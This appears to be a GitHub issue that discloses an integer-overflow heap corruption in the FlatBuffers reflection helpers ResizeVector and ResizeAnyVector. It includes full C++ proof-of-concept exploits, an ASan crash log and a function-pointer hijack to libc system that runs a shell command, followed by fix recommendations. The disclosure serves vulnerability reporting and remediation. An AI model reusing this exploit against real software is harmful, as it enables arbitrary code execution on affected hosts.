Skip to content

FlatBuffers Reflection ResizeVector Explaination on Heap Corruption (reported and closed as wont fix/non sec issue) #8767

@N3mes1s

Description

@N3mes1s

I opened a Security issue for this specific one but seems that is inteneded behaviour and would like to understand the reasons behind it.

this was the explaination

Status: Won't Fix (Intended Behavior)
Hi! Although it may come as a surprise, this is actually working as intended. Flatbuffers assume the input data validation is happening outside of the library.

Thanks again for your report and time,
The Google Bug Hunter Team

Link here: https://issuetracker.google.com/issues/458313679#comment3

This was my response:

Hey,

Not an issue at all. Personally i think this still need to be fixed because the issue is inside the library, and even tho you explained that should be controlled by the user, me as user assume that internals of whatever im using is safe (never test a library!)

The input validation happening outside the library, not so sure, in the sense, if we are allowing that behaviour in the library there should be an explaination, and frankly i don't see one that is strong enough to leave that check unbounded.

Point of views anyway :D

Best,
Giuseppe

FlatBuffers Reflection ResizeVector Heap Corruption → RCE

Summary

Exposure note: The vulnerable helpers (ResizeVector / ResizeAnyVector) live in the reflection API and are usually only reachable in tooling or admin interfaces. Typical FlatBuffers consumers do not expose these calls directly to untrusted users. Reproduction therefore assumes an environment where an attacker can influence reflection-driven resizing (e.g., malicious plugins, automation, or internal tooling).

  • Target: google/flatbuffers ResizeVector / ResizeAnyVector reflection helpers
  • Commit tested: 599847236c35fa3802ea4e46e20e93a55d3a4a94 (master, unreleased)
  • Impact: Critical – attacker-controlled newsize values corrupt heap metadata and enable code execution
  • Release status: Bug exists in public releases since commit 7101224d8 (2015‑07‑31); still present in tag v25.9.23
  • Reproduction status: Confirmed with AddressSanitizer crash and live function-pointer hijack producing /tmp/flatbuffers_rce_success
  • Artifacts: All reproduction materials (exploit code, logs, scripts) are included with this report

Root Cause

ResizeAnyVector stores length deltas in 32-bit signed intermediates:

auto delta_elem = static_cast<int>(newsize) - static_cast<int>(num_elems);
auto delta_bytes = delta_elem * static_cast<int>(elem_size);

For large newsize (e.g. 0x40000003) and 8-byte elements, delta_elem is positive but delta_bytes wraps negative. The helper then:

  1. Shrinks the buffer (std::vector::erase) because of the negative delta_bytes.
  2. Still executes memset(flatbuf->data() + start, 0, static_cast<size_t>(delta_elem) * elem_size);, issuing multi-gigabyte writes past the allocation.

ResizeVector subsequently iterates over the corrupted region, writing attacker-chosen values (e.g. addresses) into the overflow, enabling straight-line code execution when those pointers are consumed.

Relevant implementation fragment (`src/reflection.cpp`)
uint8_t* ResizeAnyVector(const reflection::Schema& schema, uoffset_t newsize,
                         const VectorOfAny* vec, uoffset_t num_elems,
                         uoffset_t elem_size, std::vector<uint8_t>* flatbuf,
                         const reflection::Object* root_table) {
  auto delta_elem = static_cast<int>(newsize) - static_cast<int>(num_elems);
  auto delta_bytes = delta_elem * static_cast<int>(elem_size);
  auto vec_start = reinterpret_cast<const uint8_t*>(vec) - flatbuf->data();
  auto start = static_cast<uoffset_t>(vec_start) +
               static_cast<uoffset_t>(sizeof(uoffset_t)) +
               elem_size * num_elems;
  if (delta_bytes) {
    if (delta_elem < 0) {
      auto size_clear = -delta_elem * elem_size;
      memset(flatbuf->data() + start - size_clear, 0, size_clear);
    }
    ResizeContext ctx(schema, start, delta_bytes, flatbuf, root_table);
    WriteScalar(flatbuf->data() + vec_start, newsize);
    if (delta_elem > 0) {
      memset(flatbuf->data() + start, 0,
             static_cast<size_t>(delta_elem) * elem_size);
    }
  }
  return flatbuf->data() + start;
}

Release Status & History

  • git describe on the test workspace: v25.9.23-13-g59984723 (current master is 13 commits beyond the last official release).
  • The vulnerable arithmetic (delta_elem/delta_bytes) dates back to commit 7101224d8 (2015-07-31), so every release since then—including v25.9.23—ships the flaw.

Reproduction

All commands executed on the dedicated Lima VM pruva-repro-20251106-072125-3d37fa2f.

1. Environment / Build

sudo apt-get update
sudo apt-get install -y build-essential clang lld cmake ninja-build git python3 python3-pip
git clone https://github.com/google/flatbuffers.git
cd flatbuffers
git reset --hard 599847236c35fa3802ea4e46e20e93a55d3a4a94
cmake -S . -B build -G Ninja \
  -DCMAKE_BUILD_TYPE=RelWithDebInfo \
  -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ \
  -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \
  -DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer"
ninja -C build flatbuffers

Release build (for the exploit harness):

cmake -S . -B build-release -G Ninja -DCMAKE_BUILD_TYPE=RelWithDebInfo
ninja -C build-release flatbuffers

2. ASan Heap Corruption Proof

Source code: exploit_resize_asan.cpp (included with this report)

ASan crash output
Resizing to 2147483648
==12642==ERROR: AddressSanitizer: unknown-crash on address 0x10001858029b4
WRITE of size 8589934584 at 0x10001858029b4 thread T0
    #1 flatbuffers::ResizeAnyVector(...)/src/reflection.cpp:632

Command executed:

clang++ -std=c++17 exploit_resize_asan.cpp -Iinclude -Itests -Lbuild -lflatbuffers \
  -fsanitize=address -fno-omit-frame-pointer -g -O1 -o exploit_resize_asan
ASAN_OPTIONS=detect_container_overflow=1,detect_leaks=0 ./exploit_resize_asan
Exploit source (`exploit_resize_asan.cpp`)
#include <cstdint>
#include <iostream>
#include <string>
#include <vector>

#include "flatbuffers/flatbuffers.h"
#include "flatbuffers/reflection.h"
#include "flatbuffers/reflection_generated.h"
#include "flatbuffers/util.h"
#include "monster_test_generated.h"

int main() {
  std::string bfbs;
  if (!flatbuffers::LoadFile("tests/monster_test.bfbs", true, &bfbs)) {
    std::cerr << "Failed to load tests/monster_test.bfbs" << std::endl;
    return 1;
  }
  const reflection::Schema &schema = *reflection::GetSchema(bfbs.c_str());
  const auto *fields = schema.root_table()->fields();
  const auto *field = fields->LookupByKey("testarrayofstring");
  if (field == nullptr) {
    std::cerr << "Field testarrayofstring not found" << std::endl;
    return 1;
  }

  flatbuffers::FlatBufferBuilder builder;
  auto name = builder.CreateString("overflow");
  uint8_t inv[] = {0, 1, 2, 3, 4};
  auto inventory = builder.CreateVector(inv, sizeof(inv));
  std::vector<flatbuffers::Offset<flatbuffers::String>> strings;
  strings.push_back(builder.CreateString("foo"));
  strings.push_back(builder.CreateString("bar"));
  auto string_vec = builder.CreateVector(strings);

  MyGame::Example::MonsterBuilder mb(builder);
  mb.add_name(name);
  mb.add_inventory(inventory);
  mb.add_testarrayofstring(string_vec);
  auto monster = mb.Finish();
  builder.Finish(monster);

  auto released = builder.Release();
  std::vector<uint8_t> resizingbuf(released.data(), released.data() + released.size());
  auto *root = reinterpret_cast<flatbuffers::Table *>(flatbuffers::GetAnyRoot(resizingbuf.data()));
  auto *vec = const_cast<flatbuffers::Vector<flatbuffers::Offset<flatbuffers::String>> *>(
      flatbuffers::GetFieldV<flatbuffers::Offset<flatbuffers::String>>(*root, *field));

  if (vec == nullptr) {
    std::cerr << "Failed to resolve vector field" << std::endl;
    return 1;
  }

  const uint32_t newsize = 0x80000000u;
  std::cout << "Resizing to " << newsize << std::endl;
  flatbuffers::ResizeVector<flatbuffers::Offset<flatbuffers::String>>(
      schema, newsize, 0, vec, &resizingbuf);
  return 0;
}

3. Remote-Code-Execution Primitive

Source code: exploit_rce.cpp (included with this report)
Harness design: Multi-threaded poll to catch the corrupted function pointer early

RCE execution output
Buffer capacity: 8606711960 bytes
Vector payload offset: 112
Planned memset length: 8589934616
Function slot before: 0xaaaacf4b3ce8
Triggering overflow with newsize=1073741827
Observed system pointer; executing payload...
Payload executed.
Exiting process after payload execution.
-rw-rw-r-- 1 g g 0 Nov  6 09:07 /tmp/flatbuffers_rce_success

Command executed:

clang++ -std=c++17 exploit_rce.cpp -Iinclude -Itests -Lbuild-release -lflatbuffers -O1 -pthread -o exploit_rce
rm -f /tmp/flatbuffers_rce_success
ulimit -Sv unlimited
./exploit_rce
ls -l /tmp/flatbuffers_rce_success

Payload evidence: The exploit successfully created /tmp/flatbuffers_rce_success, demonstrating arbitrary code execution via function pointer hijacking.

Exploit source (`exploit_rce.cpp`)
#include <atomic>
#include <cstdint>
#include <cstdlib>
#include <cstring>
#include <iostream>
#include <new>
#include <string>
#include <thread>
#include <vector>

#include "flatbuffers/flatbuffers.h"
#include "flatbuffers/reflection.h"
#include "flatbuffers/reflection_generated.h"
#include "flatbuffers/util.h"
#include "monster_test_generated.h"

int main() {
  std::string bfbs;
  if (!flatbuffers::LoadFile("tests/monster_test.bfbs", true, &bfbs)) {
    std::cerr << "Failed to load tests/monster_test.bfbs" << std::endl;
    return 1;
  }
  const reflection::Schema &schema = *reflection::GetSchema(bfbs.c_str());
  const auto *fields = schema.root_table()->fields();
  const auto *field = fields->LookupByKey("vector_of_longs");
  if (field == nullptr) {
    std::cerr << "Field vector_of_longs not found" << std::endl;
    return 1;
  }

  flatbuffers::FlatBufferBuilder builder;
  auto name = builder.CreateString("rce-monster");
  int64_t longs_init[2] = {0x1111111111111111LL, 0x2222222222222222LL};
  auto vec_longs = builder.CreateVector(longs_init, 2);
  MyGame::Example::MonsterBuilder mb(builder);
  mb.add_name(name);
  mb.add_vector_of_longs(vec_longs);
  auto monster = mb.Finish();
  builder.Finish(monster);

  const uint32_t trigger_size = 0x40000003u;
  const size_t delta_bytes = static_cast<size_t>(trigger_size) * sizeof(int64_t);
  const size_t reserve_bytes = delta_bytes + builder.GetSize() + (1ull << 24);

  std::vector<uint8_t> buf;
  buf.reserve(reserve_bytes);
  buf.insert(buf.end(), builder.GetBufferPointer(),
             builder.GetBufferPointer() + builder.GetSize());

  auto *table = reinterpret_cast<flatbuffers::Table *>(flatbuffers::GetAnyRoot(buf.data()));
  auto longs_vec = flatbuffers::GetFieldV<int64_t>(*table, *field);
  if (longs_vec == nullptr) {
    std::cerr << "Failed to resolve vector field" << std::endl;
    return 1;
  }

  const auto vec_start = reinterpret_cast<const uint8_t *>(longs_vec) - buf.data();
  const auto start_offset = vec_start + sizeof(flatbuffers::uoffset_t) +
                            sizeof(int64_t) * longs_vec->size();
  std::cout << "Buffer capacity: " << reserve_bytes << " bytes" << std::endl;
  std::cout << "Vector payload offset: " << start_offset << std::endl;
  std::cout << "Planned memset length: " << delta_bytes << std::endl;

  auto *slot_addr = reinterpret_cast<uint64_t *>(buf.data() + start_offset);
  auto benign = +[](const char *cmd) -> int {
    std::cout << "benign handler: " << cmd << std::endl;
    return 0;
  };
  auto *slot_atomic = reinterpret_cast<std::atomic<uint64_t> *>(slot_addr);
  new (slot_atomic) std::atomic<uint64_t>(reinterpret_cast<uint64_t>(benign));

  const char *payload = "touch /tmp/flatbuffers_rce_success";
  auto system_ptr = &system;
  const uint64_t target = reinterpret_cast<uint64_t>(system_ptr);

  std::atomic<bool> worker_done{false};
  bool payload_fired = false;

  std::cout << "Function slot before: 0x" << std::hex
            << slot_atomic->load(std::memory_order_relaxed) << std::dec << std::endl;
  std::cout << "Triggering overflow with newsize=" << trigger_size << std::endl;

  std::thread worker([&]() {
    flatbuffers::ResizeVector<int64_t>(schema, trigger_size,
                                       reinterpret_cast<int64_t>(system_ptr),
                                       const_cast<flatbuffers::Vector<int64_t> *>(longs_vec),
                                       &buf);
    worker_done.store(true, std::memory_order_release);
  });

  while (true) {
    uint64_t cur = slot_atomic->load(std::memory_order_acquire);
    if (cur == target) {
      payload_fired = true;
      std::cout << "Observed system pointer; executing payload..." << std::endl;
      auto fn = reinterpret_cast<int (*)(const char *)>(cur);
      fn(payload);
      std::cout << "Payload executed." << std::endl;
      break;
    }
    if (worker_done.load(std::memory_order_acquire)) {
      break;
    }
    std::this_thread::yield();
  }

  if (payload_fired) {
    std::cout << "Exiting process after payload execution." << std::endl;
    std::quick_exit(0);
  }

  if (worker.joinable()) worker.join();
  std::cout << "Worker finished without triggering payload." << std::endl;
  return 0;
}

4. Turnkey Script

Automation: reproduction_steps.sh (included with this report) automates the entire workflow: dependency installation, ASan/release builds, ASan crash demonstration, and RCE exploit execution. All output is captured to individual log files for verification.

Exploitability Analysis

  • Vulnerable path sits solely behind reflection helpers (flatbuffers::ResizeVector / ResizeAnyVector).
  • Any host that exposes “resize vector” operations on flatbuffers to untrusted input (e.g., admin tooling, live editors, scripting APIs) can be coerced into this overflow with newsize >= 0x40000003 for 8-byte elements (strings, offsets, tables, int64).
  • Once triggered, the helper overwrites adjacent allocations with attacker-specified 64-bit values. We showed this by redirecting a function pointer to libc::system.

Recommendations

  1. Fix: Promote all arithmetic to 64-bit and cap newsize before reallocating. Reject any resize that would overflow size_t or opts.max_size.
  2. Defensive: Add explicit overflow checks in ResizeAnyVector and bail out instead of performing the resize.
  3. Test: Add regression coverage around large newsize values to guarantee the helper fails gracefully.
  4. Advisory: Notify downstream consumers that expose reflection editing so they can audit inbound size limits or sandbox dangerous operations.

References

  • Vulnerable implementation: src/reflection.cpp lines 611-634 in the FlatBuffers repository
  • Public API: include/flatbuffers/reflection.h lines 459-466
  • Proof-of-concept code: exploit_resize_asan.cpp and exploit_rce.cpp (included with this report)
  • Reproduction script: reproduction_steps.sh (included with this report)
  • Commit tested: 599847236c35fa3802ea4e46e20e93a55d3a4a94 from https://github.com/google/flatbuffers

This vulnerability was confirmed on a dedicated Lima VM (pruva-repro-20251106-072125-3d37fa2f). All reproduction steps are fully automated and idempotent via the included reproduction_steps.sh script.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions